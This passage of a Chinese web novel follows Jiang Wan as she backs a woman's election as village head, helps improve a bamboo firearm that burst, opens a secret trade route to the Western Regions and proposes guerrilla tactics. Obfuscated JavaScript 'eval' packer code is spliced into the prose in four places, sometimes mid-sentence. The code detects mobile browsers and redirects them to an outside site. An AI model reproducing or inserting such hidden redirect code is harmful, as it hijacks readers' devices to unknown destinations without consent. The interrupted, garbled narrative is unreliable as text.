没想到，竟然还是应云姝！ 人群一片死寂，不知是谁倒抽了口凉气：“祖宗之制就要坏在咱们手里喽……” 姜晚闻言冷笑，声音徒然一沉，开始诡辩：< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018246|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“当今圣上举兵起义时，前朝旧臣尚且言其为乱臣贼子，破坏祖宗之制。怎么？大晟开国还没几年，诸位倒是比前朝遗老更讲究起祖制来了？” “我倒要问问，你们所说的祖宗之制，是前朝那个横征暴敛的昏君，还是我大晟的开国圣主？” 姜晚这番话竟将圣上抬了出来，直接将众人唬住，人群中再无异音，谁也不敢再提“祖制”“祖宗”两个词。 除去几个冥顽不灵的异音外，应云姝当选村长，实乃众望所归。 “从今日起，春杨村的赋税、农事、纠纷等事务，都将由你决断，”见众人再无异议，姜晚从不情不愿的老者手中接过村长印信，而后捧给应云姝，“若生出事端，你便是首当其冲，还敢不敢接？” 应云姝深吸一口气，伸手接过，印信的质感很重，沉甸甸的。 “敢。” 这一声清亮坚定，霎时点燃了人群。妇人们争先恐后地涌上前来，围住应云姝，庆贺的声音不绝于耳。 “俺们愿意跟着应丫头干！” “让应丫头当村长，俺们信得过！” “她可是读过几年书的女娃，你们这些大老粗，能比得过吗？” 孙二娘也虎起一张脸：“俺看谁不服？不服的，先问问老娘的擀面杖！” “能带着大伙过好日子，吃饱饭的才是好村长，管什么男的女的！” —— 处理完春杨村的事务，姜晚乘着马车返回侯府。街景在车帘外缓缓后退，忽听车夫“吁”了一声。 “夫人，府门前有位大人候着。” 姜晚撩开车帘，只见一个身着墨色长衫的男子正在侯府门前徘徊。 这人看样子也很年轻，不过二十出头的年纪，浑身书生气，身形挺拔如鹤，气质儒雅矜贵。 那人踱步片刻，似是等得焦灼，终是轻叹一声，转身欲走。 恰在此时，马车停稳。 “这位是……？” 姜晚刚踏下车辕，那人闻声回头，四目相对的瞬间明显一怔，随即快步上前，连忙拱手道： “下官燕止，字无漪，现任潮河的知县。” 姜晚微微颔首：“燕知县来侯府，可是有要事？” 燕无漪思量片刻，眸光微动，听了这话立刻明白姜晚的身份。 “原来是定北侯夫人，失敬失敬，”燕无漪眼中闪过一丝讶色，连忙又行一礼，“下官此来是为与侯爷商讨要务，不知……” “既是要事，为何不进去？”不等他说完，姜晚已提起裙裾作势要踏进门槛。 “这……”燕无漪面露难色，“方才门房通传，说侯爷不在府中，下官原本正打算回去，改日再来拜访，不知夫人是否……” “知晓侯爷现在何处？”这半句话还没说完，燕无漪的声音就被另一个声响给堵了回去。 “啪——！” 电光火石之间，远处突然传来一声清脆的爆响。 随后，是响彻云霄的轰响。 “轰！！！” 声浪惊起檐上雀鸟，也惊得姜晚眼皮一跳，僵在原地，魂差点被崩飞。 刚才那声音，怎么这么像枪声？ 不对啊！ 这里是古代，是谁在开枪？！ 16.改良 马匹受巨响惊扰，扬起前蹄长声嘶鸣，车夫废了好大功夫才将它们安抚下来。 那声爆响的余音仍在耳畔回荡，对于看过不少抗日神剧和警匪片的姜晚来说，这动静可太熟悉了。 燕无漪也被这突如其来的声音惊了一瞬，不过很快便恢复如常。 北境多矿山，方才的声响与山石坍塌的轰鸣，以及岩石断裂的巨响差不多，在北境很常见，他在北境做官已经有些时日了，对这种动静早已司空见惯。 因此他并没有太过震惊。 只是瞧见姜晚一直僵在原地，这反应令他心头一紧： “夫人？” 姜晚立刻回过神来，裙裾翻飞间已利落地登上马车，吩咐车夫往声源处赶去。 燕无漪不明所以，眼底泛起一丝疑虑，踌躇片刻也翻身上马跟了过去。 声响是从军械司的方向发出来的。 马车穿过几条街巷，军械司高耸的砖墙映入眼帘。门口的守卫见来的是姜晚，并未阻拦，连忙行礼让路。 刚踏入内院，一股刺鼻的硝烟味扑面而来，紧接着，便听到李绍荣痛苦的哀嚎： “绍英啊！我的好妹妹...... 不对，我的祖宗！你是打算把军械司给炸了吗？！你真是……” “闭嘴，别吵！”一个清冷的女声毫不留情地打断他，“我再想想，到底是哪出了问题。” “唉……你……唉！”李绍荣的叹气声一声重过一声，无语凝噎，“我看你待会儿怎么给萧二交代。” 姜晚抬手掩鼻，透过院中渐散的浓烟，瞧见李绍荣灰头土脸地瘫坐在廊下，模样活像刚从灶膛中爬出来，一旁的李绍英手中拿着团焦黑的不明物体，脸上被熏得乌黑，情况并没有比李绍荣好到哪去。 马儿被呛得打了个响鼻，燕无漪紧随其后进入军械司，见到这幅情景，也一时愣住。 院中满地狼藉，姜晚蹙了蹙眉：“发生了何事？你们这是在？” “夫、夫人！”李绍荣抹把脸，结果越抹越花。 他慌忙站起身来行了一礼，这一动又带起一阵烟灰，呛得他咳嗽数声，讪笑着说道：“您怎么亲自过来了？” 姜晚开玩笑道：“弄出这么大动静，我若不来瞧瞧，倒显得我这北境“二把手”不称职了。” “回夫人，”李绍英道，“先前得到夫人的火药配方，末将琢磨着如何增强其威力，便制成了此物。军械司所造之物侯爷都要查验一番，本想着在侯爷来之前再试验试验，没想到……” 她并没有继续说下去，只是低头看了看手中的竹筒残骸。 姜晚顺着她的视线看去，目光扫过她手中那个被炸得四分五裂的竹筒，从残留的结构来看，显然已具备简易火器的雏形。 可惜炸膛了。 姜晚眼底闪过讶异，没想到李绍英竟真凭一己之力，摸出门道，将火器造了出来。 “原来是夫人的主意！”李绍荣恍然大悟，“我就说怎么那日她回来后就开始瞎鼓捣，神神秘秘的，上次还差点把我们李家老宅给烧了。” “此物，可否给下官一看？” 说话间，一道稍显陌生的声音突然插进来，李绍英循声看去，这才注意到立在院门旁的燕无漪。 李绍荣见到来人，先是一惊，继而喜道：“燕兄？你怎的也来北境了？” 燕无漪并未回答，只是沉默地接过李绍英递来的竹筒。焦黑的竹筒在修长的指间翻转，他忽然屈指轻敲，竹筒发出沉闷的回音。 “这结构……装填起来很耗时吧？”他问道。 李绍英点头：“确实如此，装填要分三步，先填火药，再压弹丸，最后引火线，每发间隔确实要耗费不少时间。” “但这已经是最简便的步骤了。”她补充道。 燕无漪默然片刻，又问道：“是否在雨天无法使用？” “正是，”李绍英无奈苦笑，“前几日大雨，火药受潮，这才拖到今日查验。” 看到燕无漪一身文弱书生气，却对工造之物如此熟稔，提出的问题更是直指要害，姜晚忍不住询问： “燕知县居然懂得这些？” 燕无漪颔首：“家父是墨家钜子首徒，曾经做过和此物结构类似的机关。下官从小耳濡目染，略微学了些皮毛。” 说着，他蹲下身，就着地上的黑黢黢的灰烬画了个简单示意图：“若用蜡封火线，并且在筒口加皮垫，或许可解雨天之困。” 李绍荣凑过来看，不禁目瞪口呆：“燕兄，你这叫略通皮毛？” 画完后，他叹了口气，眉间凝着愁绪：“只是竹筒本就容易开裂，现在用来装填的火药弹丸推力又大，下官也不知该如何改进。” “炸裂的原因在于竹筒壁厚不均，抗压能力很差，因此受力后必定炸膛。” 姜晚打算帮人帮到底，送佛送到西，稍稍指点一下。 她俯下身，指间在的那副简图上划过，尤其在前膛的位置画了几个圆圈。 “若改用精铁来铸造，再在内壁铸上几道加固箍，是不是可以解决这炸膛的弊病？” 李绍英眼眸一亮，顿感醍醐灌顶：“多谢夫人、燕大人赐教，末将日后定当遵照二位的建议好好改进。” 一阵风袭来，军械司内硝烟味散尽，空气清新了些许。 李绍荣想起燕无漪还没有回答一开始的问题，便继续问道：“诶对了，你还没说你一个进士及第的榜眼，怎么跑北境来了？” 榜眼？ 姜晚一怔：“等等，是那个状元榜眼探花的榜眼？” “是，”燕无漪低声道，“下官侥幸，是永安元年的进士。” 永安是大晟的年号，晟王登基，为表仁德，特设恩科以网罗天下英才。 连年战乱使得科举停滞数年，等到天下初定，蛰伏多年的读书者不乏其人，进身的愿望也比往年更为强烈。 是以当年各地举子云集京城，据说贡院外的长队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023666|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排了整整三条街。能中进士已属不易，更何况是位列三甲。 “侥幸？” 李绍荣朗声笑道：“燕兄何必自谦？何止是榜眼，当年若不是殿试一时失语，燕兄可差点就是状元了。当年金榜题名时，京城中谁人不识君！” 姜晚脑子嗡嗡响，仿佛听到了什么天方夜谭。 她不禁重新打量起面前这个年轻人，眉目间自带一种书卷气，说话也如和风细雨，活脱脱一个木讷言拙的书生模样，不见半分身为天子门生的得意骄矜。 如果她没记错的话，榜眼应该是全国第二吧？按理应该平步青云，仕途坦荡啊，怎么跑到这么偏僻的地方当个芝麻七品小官知县啊？ “你？榜眼？当知县？”姜晚满脸错愕，忍不住脱口而出，“你这是犯了多大罪才从京城贬到了这穷...... 贬到了这边陲小县啊？” “下官，”燕无漪被突如其来的质问弄得不知所措，苦笑着挠了挠头，似乎在思索该怎么回答，“下官是自请下放。” “自请下放？” 姜晚瞪大眼睛，无法置信。 这个回答比遭受贬谪更令人费解。这不就相当于现代考进中央部委的选调生，主动申请去偏远乡镇当个办事员嘛！ “暴殄天物，暴殄天物...... ”姜晚暗自摇头惋惜。 “倒也不是，也许是下官本就没有做官的料。”燕无漪神色平静地回道。 “比起在朝堂上枉费唇舌，与人虚与委蛇，下官更愿意做些实实在在的事。” 他紧紧蹙眉，眼中浮现阴霾，似乎这番谈话勾起了并不美好回忆：“毕竟朝堂之上……” 燕无漪话音未落，门外传来轮椅碾过青石板的声响，随之而来的是萧砚的声，将众人的交谈声打断。 “不是说军械司新出了批军械，让我来查验？” 周叔推着轮椅缓缓而来，姜晚看过去，发现旧轮椅已经被换掉了，王工匠他们的手艺真不赖，这新轮椅做工精细，和图纸上的一模一样，分毫不差。 萧砚的目光在众人脸上一扫而过，当看到满地焦黑，仿佛被雷劈过一般的庭院时，不由得微微一顿。 待瞧见向来端方持重，此时却灰头土脸的李绍英和李绍荣时，饶是素来喜怒不形于色的萧砚，也不由眼尾微扬，唇角也几不可察地抽动了一下。 静默几息，他才开口： “东西呢？” 姜晚敏锐地注意到李绍荣的脸色瞬间变得精彩纷呈，她听到李绍荣小声嘀咕，声音里满是懊恼： “坏了坏了，倒把这茬儿给忘了。早知如此，就派人派人拦着周叔，告诉他不必来了，这下可好，丢人丢到姥姥家了。” 在场的六个人，连同周叔在内，十二道目光交汇相对，空气仿佛瞬间停止了流动，一行人鸦雀无声。 李绍荣终于扛不住这令人窒息的沉默，轻咳一声，硬着头皮上前一步： “嗯……出了点小意外。” 17.求援 姜晚瞧见一向落拓不羁，天不怕地不怕的李绍荣，此刻恨不得挖个洞钻进去的窘迫模样，强忍住笑意。 她适时上前一步，替李绍荣解了僵局：“东西，现在暂时看不成，但通过今天这番动静，也算是知道了它的威力。” “看这阵仗，是验过了？” 姜晚点头：“两位将军想在侯爷到来之前再仔细检查一番，只是碍于装具不精，撑不住这股劲，出了点意外。” “侯爷，末将会依照夫人之见再做整改。只是……”李绍英的声音低了几分，“末将无能，劳您白走一遭。” 萧砚看向她手中焦黑的竹筒残骸，不用细说也明白发生了什么。 军械革新本就不易，更何况是凭空创造闻所未闻之物。 出乎意料，他眼中并没有任何白跑一趟的不悦，仿佛这具身子早就不值得他多费心神。 “无妨，军械研制有成有败本是常理，日后改进便是。” 哪怕是宽慰之语，可他的神色依旧淡漠，任何情绪在他身上都是多余之物。 李绍英深深一揖：“是。” 话音刚落，萧砚已移开视线，目光落在静立一旁的陌生身影上。 “这位是？” 燕无漪一直在旁边静候，等到院中气氛稍稍松弛下来，他才上前一步，郑重行礼： “下官潮河知县燕无漪，参见侯爷，见过夫人。” 燕无漪直起身，语气诚恳郑重：“下官此次前来，实有要事相求，恳请侯爷与夫人施以援手。” “哦？何事？”姜晚见他神色凝重，也不由得正色。 燕无漪道：“下官历时半月，沿潮河两岸实地勘察，发现堤坝年久失修，存在多处隐患。今春融雪，若遇汛期，恐难以抵挡。” 他声音渐沉：“下官遍查县衙库房，又向州府申请，所得款项杯水车薪，仅够修补几处险情。若要彻底加固堤坝，疏浚河道，所需银两甚多，官府不堪其重。” “更棘手的是，有几处险段地形特殊，连工部派来的水利师都束手无策。” 说到此处，燕无漪转向姜晚，又是躬身深深一揖：“下官听闻夫人见多识广，善筹谋，更于工造奇巧之物有超凡之才，故冒昧前来，恳请夫人指点迷津，助下官解燃眉之急，救黎民百姓于水火。” 这番言辞情真意切，不禁让人赞叹文化人说话就是好听。 姜晚听罢，敏锐地抓住官府无力承担水利修建这处关键： “水利修筑我可以相助，只是州府县衙连修堤的钱都很难拿出……可是有人中饱私囊？” 燕无漪摇了摇头：“这正是下官要叨扰的第二件事。” “州府县衙拿不出钱，实有原因。潮河及周边数县并非荒芜贫瘠之地，此地盛产山珍干货，可有人垄断商路，各路商贾互相勾结，层层压价盘剥，致使农产丝织之物根本运不出去，卖不上价。” “百姓守着金山银山却卖不出价钱，官府也收不上税银，如此循环往复，使得县衙财务空虚。” 姜晚还未搭话，李绍荣听了燕无漪的诉说，忍不住愤愤不平： “百姓守着这么多宝贝疙瘩，却连修堤保命的钱都凑不齐，简直岂有此理！” “勾结商户，压价盘剥……好熟悉的手段。” 李绍英冷笑一声，想到了一个名字。 “恐怕又是那个蔡子兼的手笔。” 蔡子兼的恶行已非一日，不仅垄断大晟商路，还压榨百姓。潮河县百姓的境况，更加坚定了姜晚打通西域商路的想法。 这个念头一但升起，便再也按捺不住。她原本筹谋先农后商，却没有考虑到因地制宜。这计划到底还是太死板，北境各州县情况各异，岂能一概而论？有的地方缺粮少食，自然应该先图谋温饱。 可潮河县的情况与寻常百姓缺粮的状况不同，县中的百姓不缺产出，缺的是将物产变现的渠道。当务之急是另辟蹊径，找到一条生财之道以解燃眉之急。 姜晚：“燕知县，潮河周边可还有类似情形的州县？” 燕无漪略一思索：“有，而且不止一两个，仅下官知道的便有三县，具体的数目只怕会更多。” “好，”姜晚道，“那便劳烦燕知县回去后详查一番，到底有多少县陷入商路的死局中。” 燕无漪惊讶：“夫人的意思是？” “大晟的商路走不通，自有其他的商路可以走。” “我们大可以重开商道，”姜晚一字一顿，“西域的商道。” 哪怕姜晚显露出自信的神色，李绍英仍有疑虑：“可是玉门古道那边……” 新朝在政策上沿袭旧制，仍保有互市的政策，但由于胡人占据重要关隘，形同虚设。 “不一定非要走玉门古道。” 姜晚嘴角浮现一抹笑意。 “我与山木夫人合作多时，她手里有条鲜为人知的商路，可直通西域，或许可以设法从这里入手。” 萧砚抬眼看向她：“商人重利，若想让她将这条生财之路拱手相让，恐怕没有这么容易。” “话这么说没错，可若是稳赚不赔的买卖呢？”姜晚道，“再说，商人也分奸商义商，山木夫人重信守诺，定与唯利是图的奸商不同。” 姜晚与山木的合作从未中断，这次山木请求她改良的是纺织机。她借鉴了西洋手摇纺纱机的设计精髓，将单锭改为八锭，大大提高纺织效率。 交接图纸的日子如期而至，这次不同以往，山木差人送来一张装帧精美的请柬，地址是一处别苑。 这倒是稀奇，之前交接大都是在城郊工坊，这次却换成了一处别苑。姜晚摩挲着请柬上精致的纹路，暗自思忖其中深意。 马车在苑外还未停稳，丝竹管弦的声声乐曲便萦绕耳畔。 侍女走来引她入内，刚踏入苑门，浓郁的异域风情扑面而来。没有传统的中式亭台楼阁，飞檐翘角也全然不见，取而代之的是圆顶拱门与彩绘玻璃。 庭院正中央，几个胡旋郎身着西域服饰，腰系金银丝绦，正随着羯鼓的节奏飞旋。 衣袂翻飞间，腕间金铃相击，发出叮当脆响。 山木侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029183|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卧在铺着波斯地毯的华贵软榻上，看到姜晚时连连招手： “晚妹妹，在这儿！” 不知是西域人都这般热情似火，还是山木本人性格使然。随着合作日渐深入，她对姜晚的称呼已经换了三茬，从一开始生疏的夫人，到直呼其名的姜晚，再到略显亲昵的阿晚，现在竟直呼她为晚妹妹了。 姜晚瞥了眼那些高鼻深目，黑发碧眼的西域舞者：“夫人好兴致。” “中原的男子看久了难免乏味，看点不一样的换换口味也好。” 好家伙，看这架势，若是到现代，恐怕得一顿点八个男模，还是中西结合的那种。 姜晚感慨着，随后默默移开视线。 “嗯？看来晚妹妹对西域的歌舞不感兴趣？”山木察觉到她走神，半开玩笑，“那赶明儿我给你请个中原的戏班来。” 姜晚连忙摆手：“不了不了，我最近事务繁多，实在无暇欣赏。” 山木脸上难得露出惋惜的表情。 等姜晚将图纸交到她手上时，这点惋惜立刻一扫而空，精致的眼眸中流露出一如既往的满意。 山木露出笑容，示意仆从捧上一个沉甸甸的小木匣，里面是这次图纸的结算金额和上个月的分红。 姜晚坦然收下，并未多做寒暄，直接切入正题：“我今日前来，还有一桩大生意要与夫人商议。” 她将燕无漪所言之事简要说明，最后对山木说：“夫人是疏勒人，想必也知道中原的物产在西域可是价比黄金。” 山木并未立刻回应。 她轻晃手中的琉璃盏，若有所思，琥珀色的酒液微微荡漾，在阳光下更显剔透。 “确实有一条路，不过是条险路。” 山木屏退左右，连还在台上跳胡旋舞的舞者也被她差人请了回去。 等院中杂人退尽，只余下她与姜晚二人。她用手指轻蘸酒水，在桌面上快速勾勒出一副简略的舆图： “绕过玉门古道的主隘口，向西北深入，有一处峡谷，我给它起名叫鬼见愁。” “鬼见愁？” 姜晚默默重复一遍，这名字一听便知不是什么好地方。 “这条路是我当年从胡人手中死里逃生发现的，极为隐秘，从未记载在任何官图之上。” “那地方峭壁千仞，通路狭窄，最窄处仅容一车单向通行，而且路途艰险。若是初次经过，必须有熟悉地形的向导带队才可顺利通过，可不就是鬼见愁吗？” 说罢，山木忽然抬眸看向姜晚的眼睛：“此路凶险，你真的要走这条路？” “成与不成，总得尝试一下，”姜晚颔首，“不知夫人可否将精通地形的向导借我一用？” “何须另寻？” 她伸手指了指自己，笑意依旧。 “远在天边，近在眼前。” “若不嫌弃，我可以来当这个向导。” 姜晚眼眸中划过一丝讶异，实在没想到山木居然会答应亲自前往。感激的话语还未说出口，便听她继续道： “不过，我也有一个条件。” 18.玉门 姜晚心中暗自思量，行商之道，单凭交情远远不够，想要从商人手中分一杯羹，无非是给出更高的筹码。 她试探道：“夫人可是想多要几分利？” “晚妹妹，你竟这般看我？”山木眉梢一挑，神情中闪过一丝受伤，“我山木若真是见钱眼开之人，这么些年，早该富可敌国了。” 姜晚闻言一怔：“那夫人所求为何？” “我的条件很简单。” 山木放下琉璃盏，语气变得郑重，向来玩世不恭的脸上少见地收敛了笑意： “若北境真能与西域通商成功，我希望侯府能给予疏勒优先通行的特权。” “我的家乡疏勒，地处天山南麓，东有龟兹虎视，西有大食觊觎，”她抬眼望向某个方向，目光穿过重重关山，“若无倚仗，定然争不过周边几个强大的虎狼之邦。” 天边云朵或舒或卷，被风吹散又聚拢，投下斑驳光影。 “所以，姜晚，请允许我的这点私心。” 她忽地轻笑，继而恢复了惯常的神情，只是此刻稍稍流露出几分故国之思。 姜晚轻舒一口气，她能理解山木的想法，这个要求不算过分，她道：“我懂。” “这件事，我会全力促成。” 听到姜晚的承诺后，山木眼中最后一丝疑虑散尽，连忙拉着姜晚商讨预备事宜，临走之前，还将唯一一份“鬼见愁”的舆图塞给了她。 —— 山木同意共享商路情报后，姜晚当夜将众人召集到府中，细细划分相关事宜。 议事厅内，灯火通明，姜晚端坐主位，将舆图铺在案上，众人围坐在一旁，等待她发号施令。 “商队各事的筹谋，需分头并进。” “眼下各县商货流通缺少统筹规划之人，”姜晚的目光在厅内众人身上扫过一圈，最后落在燕无漪身上，“燕知县，北境各县物产丰瘠、时令产出，便交由你清点造册。” 燕无漪起身，执礼应下。 “山木夫人熟悉路况，便由她充当向导。” “至于商队组建……”姜晚目光一转，看向钱有财。 钱有财刚吃了二十军棍不久，此刻在座椅上如坐针毡，不知道姜晚唤他前来有何用意，正百无聊赖地数地上的方砖，忽然被点名，他猛一哆嗦，似乎没想到还能有自己的用武之地。 “你与各州县商号相熟，便由你来做山木夫人的副手，协助组织商队，负责人员招募和货物调度。” 钱有财连忙起身拱手：“是，夫人！小人一定尽心竭力！” 李绍英抱剑而立，看到钱有财谄媚的样子时轻哼一声，突然上前一步，钱有财立刻缩了缩脖子，像只受惊的田鼠。 “怕什么？”李绍英斜睨他一眼，将一份名册拍在案上，“这是商队护卫的名册，拿着。” 钱有财点头如捣蒜，小心翼翼地将名册搂在怀里，讪讪笑道：“诶，好！” 待众人将商路事宜议定，姜晚正色道：“此次商路开拓虽是试水，但关乎万民生计，还望诸位谨慎行事。” 一切安排妥当，众人各自领了差事离去，姜晚独独叫住钱有财，对他叮嘱道：“这条商路颇为险峻，记得一切听山木夫人的安排，切莫擅作主张。” “一定注意安全。” 钱有财感激涕零，他走南闯北二十多年，这还是第一次有人关心他们商贾的死活，他不禁眼眶一热。 “多谢夫人关怀！”他深揖及地，整个人折了起来，“小的定不负所托！” 等到钱有财拜别退去，偌大的议事厅重归寂静，灯芯将尽，案头灯火渐暗，如豆的火点摇曳不定时明时灭，将姜晚的眉眼映在深深的阴影中。 窗外夜风呼啸，她凝视着案上舆图，心中忐忑难安，不知这一行是吉还是凶。 不足半月，这支临时组建的商队便组建完备，整装待发。驼铃轻响，承载百姓希望的商队就此踏上征程。 半途遇到小股马匪打劫，好在护卫得力，终是有惊无险地穿越鬼见愁，抵达西域地区。 不出意料，久闭复开的互市在西域各部引起轩然大波，北境的物产刚一露面，便被闻讯而来地西域商贾围得水泄不通，货物供不应求，价格节节攀升，最后竟以竞拍的方式售卖。 姜晚信守承诺，特意为疏勒商贾留出优先采买的特权。山木看着老家商队满载而归，露出欣慰笑容。 此次商队试水大获成功，当赚得盆满钵满的队伍回到北境时，各县百姓欢欣雀跃，奔走相告。 他们终于找到了另一条出路，他们终于不用看奸商的脸色行事，他们的心血汗水终于物有所值，他们也终于不用再受垄断压价的盘剥！ 与西域重开互市的消息放出时，许多县尚处于观望状态，只有燕无漪的潮河县以及周边一两个贫困县积极响应。 如今见到白花花的银子流入潮河县的官仓，堆得满满当当，其他各县的官员一个个悔得肠子都青了。 不出三日，原本冷眼旁观的县令们纷纷驾车赶往侯府，争相拜见姜晚，请求加入下一批商队。 “夫人明鉴，下官愿全力配合商队！” “我县物产品质绝对远超潮河县！求夫人给个机会！” …… 往日门庭清冷的侯府忽然人满为患，热闹非凡，他们争先恐后，唯恐自己比邻县慢一步失去先机。 姜晚则立在廊下，将众人急切尽收眼底，而后再将诸位诚意一一笑纳。 随着加入商队的州县越来越多，商队的规模也逐渐扩大，百姓的腰包一日比一日富足，各县税银源源不断涌入官仓，除去上交国库的互市税收外，燕无漪终于凑齐了修水利的银钱。 在姜晚的技术支持下，潮河水利之事得到妥善解决，燕无漪便专程前来军械司专门协助李绍英改良火器。 经过反复调试，新式火器终于能够稳定发射，且射程更远。整体上虽仍有改进空间，但至少不会再炸膛。 与此同时，北境雪期至，鹅毛大雪簌簌飘落，转眼便给北境裹上一层银装。 春阳村百姓在应云姝的带领下，早就用起了新农具，种起了新作物。前几日应村长派人来信说，作物并未因为大雪而受冻，相反，长势比往年都要好。 春杨村作为试点取得初步成效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039601|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她向萧砚告知此事，并提议要在北境推广新农具与新作物。 自从姜晚来到北境，她带来的新奇事物层出不穷，萧砚的疑问也从未间断。 工造之物确实可以用她父亲做过军器监少监来解释，但一个官家小姐居然精于农事，这确实匪夷所思。 起初萧砚也问过她那些奇怪种子的来历，不过相处这么多时日，姜晚已经成为忽悠王，练成了一身糊弄本事，各种瞎话信手拈来，手拿把掐。 “京城带来的。” “平昌侯府的稀罕物。” “我母亲娘家的表妹嫁给了岭南的种子商。” 她说得脸不红心不跳，不管什么事，但凡解释不清的，都往京城和平昌侯府那里推就对了，或是编造些八竿子打不着的亲戚 ，反正萧砚没回过京，也不认识她素未谋面的便宜爹，更不知晓她有那些亲戚。 每逢此时，萧砚都不置可否，只是静静地看着她，好像是相信了她的说辞。 姜晚又一次蒙混过关，正当她斟酌着如何向萧砚提议推广春杨村“基层民事选举”一事时，耳畔突然传来钱有财的嚎啕大哭声。 “夫人——！” 钱有财哭喊着飞跑进厅内，正打算向姜晚诉苦，却猛地瞥见萧砚也在一旁，他匆忙敛去哭声，尴尬地整理衣冠行礼后，又用袖子抹了把脸，只敢偷偷发出细微的啜泣。 姜晚注意到钱有财左眼有一片乌青，微微蹙眉道：“钱老板，你脸上怎么回事？” “嗐，不是什么大事，”山木姗姗来迟踏入门槛，倚在门边慢条斯理地向萧砚行了一礼，语气轻描淡写，“就是两个异国商队为了一车蚕丝打了起来，钱老板非要上去调和。” 她耸耸肩：“结果两边都没劝住，反倒让他挨了一记老拳。” “夫人，侯爷，你们是不知道！”山木话音未落，钱有财忍不住哭诉起来，“咱们的货根本供不上，西域那边的胃口太大了！” 他激动地比划着：“他们争得厉害，龟兹和疏勒抢货，差点把集市给掀了！” “确实如此。” 山木神色凝重起来：“我们二人今日来此便是为了此事。北境各县货物现在在西域有价无市，鬼见愁那条小路都快被踏平了也满足不了西域三十六国的货需。” 钱有财连连头：“是啊！那条路运不出太多货，而且每回还要因险峻路况折损一成。若是货物再积压起来，山货发霉，恐怕会折损更多，百姓们怕是要不乐意了。” 山木转向萧砚：“侯爷，恕我直言，若想真正打通商路，让北境与西域贸易繁荣起来，还是需要打通玉门古道这条主路，否则北境与西域的互市的规模将止步于此，无法继续延阔。” 听完山木的提议，厅内一时寂静无声，萧砚似乎在思考攻取玉门古道的可能性。 姜晚知道他在权衡什么。 北境边防战事吃紧，西线战事胶着，东线又有几股胡寇频繁骚扰，兵力捉襟见肘，若再分兵攻打玉门古道…… “侯爷。” 这时，姜晚忽然灵光一现，出声道： “或许，你听说过……游击吗？” 19.游击 姜晚将墙上卷起的羊皮地形图“唰”地展开，提笔在玉门隘口处画了个圈： “游军之行，乍动乍静，避实击虚，此法出没无常，敌进我退，灵活机动，最适合以寡击众。” “北境兵力不足，玉门古道易守难攻，正面强攻固然困难，但若游动打击，攻其不备，出其不意，未必不能逼退他们。” 她指尖在地形图上游走，最后落在一处葫芦形的谷地：“此处地势最适合伏击，可遣一小股部队前去袭扰诱敌，待胡人被引至谷中，便可集中兵力关门打狗，定能叫他们首尾难顾。” 见萧砚沉默不语，为了提高此法的可信度，她又轻叹一声：“这战术还是当年我祖父在潼关破敌时用过的。” 她垂下眼帘，语气带着恰到好处的怀念：“他老人家若是在世，定能比我说得更透彻些。” 有这位战功赫赫的“祖父”来背书，姜晚心安理得。横竖那位护驾而死的安国公不会掀起棺材板，跳出来反驳她的鬼话。 萧砚似乎仍有疑虑，许是从前征战沙场留下的习惯，遇事总会下意识地推演出各种可能： “胡人骑兵来去如风，即便寻占据地利，弓弩射程也难以覆盖。若伏击不成，便会陷入包围，届时反而会成为死局。” 听了这话，姜晚脸上浮现出一抹少见的、狡黠的笑容：“侯爷，你难道忘记我们的新军械了吗？” 萧砚想起上次在军械司见到的焦黑之物，不由得皱眉。 他的声音沉了几分：“军中大事，并非儿戏。” “自然不是儿戏。”姜晚道。 “那东西经李将军和燕知县的反复改良，如今已非昔日可比。现在其威力远超寻常弓弩，便是新制的连弩，在射程和力道也比它稍逊一筹。” 姜晚望向萧砚，见他眉宇间仍有犹疑之色，她圆润的眼睛忽然亮起来，如一簇火苗，炯炯有神。 “侯爷不信？不如明日与我一同去校场一观？” —— 翌日校场上，晨霭未散，姜晚换上一身靛青色劲装，腰间玉带紧束，勾勒出飒爽利落的身形。 兵卒们早得到了消息，听说有杀胡狗的新法子，个个摩拳擦掌，迫不及待，天不亮就来到此处想早些见识见识军械司的新物什。 